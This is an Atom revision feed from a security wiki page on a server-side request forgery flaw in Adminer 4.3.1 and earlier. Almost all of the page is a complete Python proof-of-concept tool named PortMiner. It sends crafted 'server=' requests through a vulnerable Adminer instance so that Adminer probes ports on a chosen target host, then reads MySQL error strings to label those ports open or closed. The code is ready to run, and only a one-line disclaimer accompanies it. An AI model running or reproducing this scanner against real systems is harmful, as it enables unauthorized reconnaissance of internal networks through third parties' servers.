<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Adminer_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E</id>
	<title>Adminer 服務器端請求偽造漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Adminer_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Adminer_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-08T07:21:46Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Adminer_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;diff=1675&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==漏洞影響== Adminer&lt;=4.3.1   ==POC== &lt;pre&gt; import socket,re,ssl,warnings,subprocess,time from platform import system as system_name  from os import system as system_call...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Adminer_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;diff=1675&amp;oldid=prev"/>
		<updated>2021-04-15T05:38:52Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==漏洞影響== Adminer&amp;lt;=4.3.1   ==POC== &amp;lt;pre&amp;gt; import socket,re,ssl,warnings,subprocess,time from platform import system as system_name  from os import system as system_call...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==漏洞影響==&lt;br /&gt;
Adminer&amp;lt;=4.3.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import socket,re,ssl,warnings,subprocess,time&lt;br /&gt;
from platform import system as system_name &lt;br /&gt;
from os import system as system_call&lt;br /&gt;
&lt;br /&gt;
#Adminer Server Side Request Forgery&lt;br /&gt;
#PortMiner Scanner Tool&lt;br /&gt;
#by John Page (hyp3rlinx)&lt;br /&gt;
#ISR: ApparitionSec&lt;br /&gt;
#hyp3rlinx.altervista.org &lt;br /&gt;
#=========================&lt;br /&gt;
#D1rty0Tis says hi.&lt;br /&gt;
&lt;br /&gt;
#timeout&lt;br /&gt;
MAX_TIME=32&lt;br /&gt;
#ports to log&lt;br /&gt;
port_lst=[]  &lt;br /&gt;
#Web server response often times out but usually means ports open.&lt;br /&gt;
false_pos_ports=['80','443'] &lt;br /&gt;
&lt;br /&gt;
BANNER='''&lt;br /&gt;
           ____            _   __  __ _                  &lt;br /&gt;
          |  _  \         | | |  \/  (_)                 &lt;br /&gt;
          | |__) |__  _ __| |_| \  / |_ _ __   ___ _ __  &lt;br /&gt;
          |  ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| &lt;br /&gt;
          | |  | (_) | |  | |_| |  | | | | | |  __/ |    &lt;br /&gt;
          |_|   \___/|_|   \__|_|  |_|_|_| |_|\___|_|                                                                                                             &lt;br /&gt;
       '''                               &lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
def info():&lt;br /&gt;
    print &amp;quot;\nPortMiner depends on Error messages to determine open/closed ports.&amp;quot;&lt;br /&gt;
    print &amp;quot;Read operations reported 'timed out' may be open/filtered.\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def greet():&lt;br /&gt;
    print 'Adminer Unauthenticated SSRF Port Scanner Tool'&lt;br /&gt;
    print 'Targets Adminer used for MySQL administration\n'&lt;br /&gt;
    print 'by hyp3rlinx - apparition security'&lt;br /&gt;
    print '-----------------------------------------------------\n'&lt;br /&gt;
    print 'Scan small ranges or single ports or expect to wait.\n'&lt;br /&gt;
    print 'Do not scan networks without authorized permission.'&lt;br /&gt;
    print 'Author not responsible for abuse/misuse.\n'&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
def chk_ports(p): &lt;br /&gt;
    p=p.replace('-',',')&lt;br /&gt;
    port_arg=p.split(',')&lt;br /&gt;
    try:&lt;br /&gt;
        if len(port_arg)&amp;gt;1:&lt;br /&gt;
            if int(port_arg[1]) &amp;lt; int(port_arg[0]):&lt;br /&gt;
                print 'Port range not valid.'&lt;br /&gt;
                raw_input()&lt;br /&gt;
                return&lt;br /&gt;
            if int(port_arg[1])&amp;gt;65535:&lt;br /&gt;
                print 'Exceeded max Port range 65535.'&lt;br /&gt;
                raw_input()&lt;br /&gt;
                return&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print str(e)&lt;br /&gt;
        return None&lt;br /&gt;
    return list(range(int(port_arg[0]),int(port_arg[1])+1))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def log(IP):&lt;br /&gt;
    try:&lt;br /&gt;
        file=open('PortMiner.txt', 'w')&lt;br /&gt;
        file.write(IP+'\n')&lt;br /&gt;
        for p in port_lst:&lt;br /&gt;
            file.write(p+'\n')&lt;br /&gt;
        file.close()&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print str(e)&lt;br /&gt;
    print &amp;quot;\nSee PortMiner.txt&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def use_ssl(ADMINER,ADMINER_PORT):&lt;br /&gt;
    try:&lt;br /&gt;
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
        s.connect((ADMINER,int(ADMINER_PORT)))&lt;br /&gt;
        s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)&lt;br /&gt;
        s.close()&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print &amp;quot;&amp;quot;&lt;br /&gt;
        return False&lt;br /&gt;
    return True&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def version(ip,port,uri,use_ssl):&lt;br /&gt;
    res=&amp;quot;&amp;quot;&lt;br /&gt;
    try:&lt;br /&gt;
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
        s.connect((ip,int(port)))&lt;br /&gt;
        if use_ssl:&lt;br /&gt;
            s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) &lt;br /&gt;
        s.send('GET '+'/'+uri+'/?server='+':'+'&amp;amp;username=\r\n\r\n')&lt;br /&gt;
&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print 'Host up but cant connect.' #str(e)&lt;br /&gt;
        print 'Re-check Host/Port/URI.'&lt;br /&gt;
        s.close()&lt;br /&gt;
        return 504&lt;br /&gt;
     &lt;br /&gt;
    while True:&lt;br /&gt;
        RES=s.recv(512)&lt;br /&gt;
        if RES.find('Forbidden')!=-1:&lt;br /&gt;
            print 'Forbidden 403'&lt;br /&gt;
            s.close()&lt;br /&gt;
            return None&lt;br /&gt;
        if RES.find('401 Authorization Required')!=-1:&lt;br /&gt;
            print '401 Authorization Required'&lt;br /&gt;
            s.close()&lt;br /&gt;
            return None&lt;br /&gt;
        ver = re.findall(r'&amp;lt;span&amp;gt;(.*)&amp;lt;/span&amp;gt;',RES,re.DOTALL|re.MULTILINE)&lt;br /&gt;
        if not RES:&lt;br /&gt;
            s.close()&lt;br /&gt;
            return None&lt;br /&gt;
        if ver:&lt;br /&gt;
            print 'Your Adminer '+ ver[0] + ' works for us now.'&lt;br /&gt;
            s.close()&lt;br /&gt;
            return ver&lt;br /&gt;
&lt;br /&gt;
    s.close()&lt;br /&gt;
    return None&lt;br /&gt;
 &lt;br /&gt;
       &lt;br /&gt;
               &lt;br /&gt;
def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):&lt;br /&gt;
    global MAX_TIME,port_range&lt;br /&gt;
    RES=''&lt;br /&gt;
&lt;br /&gt;
    print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'&lt;br /&gt;
    &lt;br /&gt;
    for aPort in port_range: &lt;br /&gt;
         aPort=str(aPort)&lt;br /&gt;
         &lt;br /&gt;
         try:&lt;br /&gt;
             s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
             s.settimeout(MAX_TIME)&lt;br /&gt;
             s.connect((ADMINER,ADMINER_PORT))&lt;br /&gt;
    &lt;br /&gt;
             if USE_SSL:&lt;br /&gt;
                s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) &lt;br /&gt;
&lt;br /&gt;
             s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&amp;amp;username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')&lt;br /&gt;
    &lt;br /&gt;
         except Exception as e:&lt;br /&gt;
              print str(e)&lt;br /&gt;
              s.close()&lt;br /&gt;
              return&lt;br /&gt;
&lt;br /&gt;
         while True:&lt;br /&gt;
              try:&lt;br /&gt;
                 RES=s.recv(512)&lt;br /&gt;
                 ###print RES&lt;br /&gt;
                 ###Should see HTTP/1.1 403 not 200&lt;br /&gt;
                 if RES.find('HTTP/1.1 200 OK')!=-1:&lt;br /&gt;
                     print 'port '+aPort +  ' open'&lt;br /&gt;
                     port_lst.append(aPort+' open')&lt;br /&gt;
                     s.close()&lt;br /&gt;
                     break&lt;br /&gt;
                    &lt;br /&gt;
                 if RES.find('400 Bad Request')!=-1:&lt;br /&gt;
                     print '400 Bad Request, check params'&lt;br /&gt;
                     s.close()&lt;br /&gt;
                     break&lt;br /&gt;
                     raw_input()                  &lt;br /&gt;
&lt;br /&gt;
                 lst=re.findall(r&amp;quot;([^\n&amp;lt;div&amp;gt;].*connect to MySQL server on.*[^&amp;lt;/div&amp;gt;\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)&amp;quot;+&lt;br /&gt;
                             &amp;quot;|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)&amp;quot;, RES)     &lt;br /&gt;
        &lt;br /&gt;
                 if lst:&lt;br /&gt;
                      status=str(lst)&lt;br /&gt;
                      if status.find('connect to MySQL')!=-1:&lt;br /&gt;
                          if PRINT_CLOSED:&lt;br /&gt;
                              print 'port '+ aPort +  ' closed'&lt;br /&gt;
                          s.close()&lt;br /&gt;
                          break&lt;br /&gt;
                      elif status.find('machine actively refused it.')!=-1:&lt;br /&gt;
                          if PRINT_CLOSED:&lt;br /&gt;
                              print 'port '+ aPort +  ' closed'&lt;br /&gt;
                          s.close()&lt;br /&gt;
                          break&lt;br /&gt;
                      elif status.find('A connection attempt failed')!=-1:&lt;br /&gt;
                          if PRINT_CLOSED:&lt;br /&gt;
                               print 'port '+ aPort +  ' closed'&lt;br /&gt;
                          s.close()&lt;br /&gt;
                          break&lt;br /&gt;
                      elif status.find('reading initial communication packet')!=-1:&lt;br /&gt;
                          print 'port '+aPort +  ' open'&lt;br /&gt;
                          port_lst.append(aPort+' open')&lt;br /&gt;
                          s.close()&lt;br /&gt;
                          break&lt;br /&gt;
                      elif status.find('MySQL server has gone away')!=-1:&lt;br /&gt;
                          print 'port '+aPort +  ' open'&lt;br /&gt;
                          port_lst.append(aPort+' open')&lt;br /&gt;
                          s.close()&lt;br /&gt;
                          break&lt;br /&gt;
                      elif status.find('Bad file descriptor')!=-1:&lt;br /&gt;
                          print 'port '+aPort +  ' open'&lt;br /&gt;
                          port_lst.append(aPort+' open')&lt;br /&gt;
                          s.close()&lt;br /&gt;
                          break&lt;br /&gt;
                      elif status.find('Got packets out of order')!=-1:&lt;br /&gt;
                          print 'port '+aPort +  ' open'&lt;br /&gt;
                          s.close()&lt;br /&gt;
                          break&lt;br /&gt;
                        &lt;br /&gt;
              except Exception  as e:&lt;br /&gt;
                  msg = str(e)&lt;br /&gt;
                  ###print msg&lt;br /&gt;
                  if msg.find('timed out')!=-1 and aPort in false_pos_ports:&lt;br /&gt;
                      print 'port '+aPort +  ' open'&lt;br /&gt;
                      port_lst.append(aPort+' open')&lt;br /&gt;
                      s.close()&lt;br /&gt;
                      break&lt;br /&gt;
                  elif msg.find('timed out')!=-1: &lt;br /&gt;
                      print 'port '+aPort + ' timed out'&lt;br /&gt;
                      port_lst.append(aPort+' read operation timed out')&lt;br /&gt;
                      s.close()&lt;br /&gt;
                      break&lt;br /&gt;
                  else:&lt;br /&gt;
                      s.close()&lt;br /&gt;
                      break&lt;br /&gt;
               &lt;br /&gt;
    if port_lst:&lt;br /&gt;
        log(TARGET)&lt;br /&gt;
    else:&lt;br /&gt;
        print &amp;quot;Scan completed, no ports mined.&amp;quot;&lt;br /&gt;
    return 0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def arp(host):&lt;br /&gt;
    args = &amp;quot;-a&amp;quot; if system_name().lower()==&amp;quot;windows&amp;quot; else &amp;quot;-e&amp;quot;&lt;br /&gt;
    return subprocess.call(&amp;quot;arp &amp;quot; + args + &amp;quot; &amp;quot; + host, shell=True) == 0&lt;br /&gt;
         &lt;br /&gt;
&lt;br /&gt;
def ping_host(host):&lt;br /&gt;
    args = &amp;quot;-n 1&amp;quot; if system_name().lower()==&amp;quot;windows&amp;quot; else &amp;quot;-c 1&amp;quot;&lt;br /&gt;
    res=subprocess.call(&amp;quot;ping &amp;quot; + args + &amp;quot; &amp;quot; + host, shell=True) == 0&lt;br /&gt;
    if not res:&lt;br /&gt;
        print str(host) + ' down? trying ARP'&lt;br /&gt;
        if not arp(host):&lt;br /&gt;
            print str(host) + ' unreachable.'&lt;br /&gt;
            return&lt;br /&gt;
    return res&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    global port_range&lt;br /&gt;
    print BANNER&lt;br /&gt;
    greet()&lt;br /&gt;
    ADMINER_VERSION=False&lt;br /&gt;
    PRINT_CLOSED=False&lt;br /&gt;
    USE_SSL=None&lt;br /&gt;
&lt;br /&gt;
    ADMINER=raw_input('[+] Adminer Host/IP&amp;gt; ')&lt;br /&gt;
    if ADMINER=='':&lt;br /&gt;
        print 'Enter valid Host/IP'&lt;br /&gt;
        ADMINER=raw_input('[+] Adminer Host/IP&amp;gt; ')&lt;br /&gt;
    &lt;br /&gt;
    ADMINER_PORT=raw_input('[+] Adminer Port&amp;gt; ')&lt;br /&gt;
    if not re.search(&amp;quot;^\d{1,5}$&amp;quot;,ADMINER_PORT):&lt;br /&gt;
        print 'Enter a valid Port.'&lt;br /&gt;
        ADMINER_PORT=raw_input('[+] Adminer Port&amp;gt; ')&lt;br /&gt;
    &lt;br /&gt;
    ADMINER_URI=raw_input('[+] Adminer URI [the adminer-&amp;lt;version&amp;gt;.php OR adminer/ dir path] &amp;gt; ')&lt;br /&gt;
    TARGET=raw_input('[+] Host/IP to Scan&amp;gt; ')&lt;br /&gt;
    &lt;br /&gt;
    PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25&amp;gt; ').replace(' ','')&lt;br /&gt;
    plst=re.findall(r&amp;quot;(\d{1,5})-(\d{1,5})&amp;quot;,PORTS_TO_SCAN)&lt;br /&gt;
    if not plst:&lt;br /&gt;
        print 'Invalid ports, format is 1-1025'&lt;br /&gt;
        return&lt;br /&gt;
        raw_input() #console up&lt;br /&gt;
&lt;br /&gt;
    port_range=chk_ports(PORTS_TO_SCAN)&lt;br /&gt;
    if not port_range:&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No&amp;gt; ')&lt;br /&gt;
    if PRINT_CLOSED=='1':&lt;br /&gt;
        PRINT_CLOSED=True&lt;br /&gt;
    else:&lt;br /&gt;
        PRINT_CLOSED=False&lt;br /&gt;
    &lt;br /&gt;
    if not ping_host(ADMINER):&lt;br /&gt;
        print 'host %s not reachable or blocking ping ' % ADMINER  &lt;br /&gt;
        cont=raw_input('Continue with scan? 1=Yes any key for No&amp;gt; ')&lt;br /&gt;
        if cont!='1':&lt;br /&gt;
            print 'Scan aborted.'&lt;br /&gt;
            raw_input() #console up&lt;br /&gt;
            return&lt;br /&gt;
        &lt;br /&gt;
&lt;br /&gt;
    USE_SSL=use_ssl(ADMINER,ADMINER_PORT)&lt;br /&gt;
    time.sleep(2)&lt;br /&gt;
    ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)&lt;br /&gt;
&lt;br /&gt;
    if not ADMINER_VERSION:&lt;br /&gt;
        print &amp;quot;Can't retrieve Adminer script. check supplied URI.&amp;quot;&lt;br /&gt;
        raw_input() #console up&lt;br /&gt;
        return&lt;br /&gt;
    else:&lt;br /&gt;
        if ADMINER_VERSION==504:&lt;br /&gt;
            raw_input() #console up&lt;br /&gt;
            return&lt;br /&gt;
        if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:&lt;br /&gt;
            more=raw_input('Info: 1=Yes, any key for No&amp;gt; ')&lt;br /&gt;
            if more=='1':&lt;br /&gt;
                info()&lt;br /&gt;
                raw_input() #console up&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
if __name__=='__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>